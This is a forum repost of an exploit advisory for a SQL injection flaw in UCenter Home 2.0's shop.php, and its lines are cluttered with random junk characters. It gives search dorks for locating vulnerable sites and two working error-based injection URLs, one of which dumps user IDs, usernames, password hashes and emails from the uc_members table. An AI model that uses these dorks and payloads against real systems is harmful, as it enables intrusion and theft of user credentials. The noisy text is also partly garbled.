* U4 @- S% | C7 M6 p0 a__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__
1 `' |6 o/ N2 m+ i6 B5 o
# b+ A& T; _' W8 v- B `0 o. k , q9 M; N( s: L
2 t( \ }* |0 B! v
*/ Author : KnocKout
: h# c9 \( S: \) d+ a
$ r2 C$ X+ M+ R1 J*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers ( I, f# U# P& f1 Q* \
, ]5 g% j' I0 }5 U( P# L
*/ Contact: knockoutr@msn.com ) j' q: {6 c$ j8 j0 L
" I' C$ x5 g# u# n F" X) Q. [
*/ Cyber-Warrior.org/CWKnocKout . R' U% H" J$ n5 U
! T/ U* D5 S1 p& {8 G__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== ' j M- U: T4 s
% [; v/ v. k4 \
Script : UCenter Home $ w* d3 |7 Q( u# i& o
; Z+ T0 w9 v9 g `% XVersion : 2.0 ! u% [% }; B, k- C" A0 s4 a0 T
0 o( E1 P F2 w8 G+ D) d. UScript HomePage : http://u.discuz.net/
' D: P' [' B/ E+ M: q$ y2 `3 M8 ^0 L
9 _6 |0 E( x' g/ G& l__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
- @4 C& m, k5 A3 i$ D% }& V2 c" {- S
b% |7 s5 e; h3 [2 p3 H8 m7 J' ?$ `Dork : Powered by UCenter inurl:shop.php?ac=view 7 N4 g) K! y" I8 R: \( J
% X8 i% f, F! {4 e7 M1 m
Dork 2 : inurl:shop.php?ac=view&shopid= 2 |7 Q. `3 v5 `
5 U; ~$ C1 q9 y. D& X+ w6 M# ^& S, ?$ [__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== " n' ?/ V* O1 t' a% E
B( o1 h* J6 c% `! ^3 eVuln file : Shop.php 0 V" f' i% v* D
* m: j/ L) _, ^% Q. r
value's : (?)ac=view&shopid= 9 o! K% A/ k0 Z, U
. }5 k& B, U/ d( jVulnerable Style : SQL Injection (MySQL Error Based) L" s* N+ O; E% D( q* m) M( u
/ X( i1 r; x, c2 u0 s4 ^Need Metarials : Hex Conversion ' Z6 @# b2 j- B6 I: U( n0 V+ F0 v
# L! `3 J" ?( z1 B3 F1 E0 [& S" \, Q- l__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== * N% N+ J9 I/ b# C/ K5 @9 E: J
1 F% z# i; p d$ K. a
Your Need victim Database name. 8 B3 ]: Q0 q4 G# b! Z
1 y. z/ c2 S* p
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 ( [3 t& ^- ^: g, Q. \: p
- q/ O N+ T }+ o. D! l6 @
..
6 V- k/ a, }. c5 @8 S, _
1 r- o5 w" Z( A; B3 dDB : Okey.
6 g: k$ P+ p9 J% K! a/ E. v
. _% o) c O' q( A p3 q# R) Lyour edit DB `[TARGET DB NAME]` 1 n, B( X& A. m1 M- z4 y6 j* P/ i6 f
& i; ^7 {7 R* \
Example : 'hiwir1_ucenter' / P7 m# T( |9 }, X0 x
- I' l. b' P! I. r4 _! s6 IEdit : Okey.
, W4 S& f1 i4 K: m
) c% }. T9 V0 e+ Z$ rYour use Hex conversion. And edit Your SQL Injection Exploit..
# H& y% |0 R, f2 q, j% g6 T/ W
: s7 x3 ?% e" v0 k }7 q ( W `( R8 ~5 T1 @! R. T( Q0 W
6 c/ l2 a' s" Q# S5 r- SExploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
# `7 o) G* ]7 n0 Y! u |
发表于 2013-2-27 21:31:31
收藏
支持
反对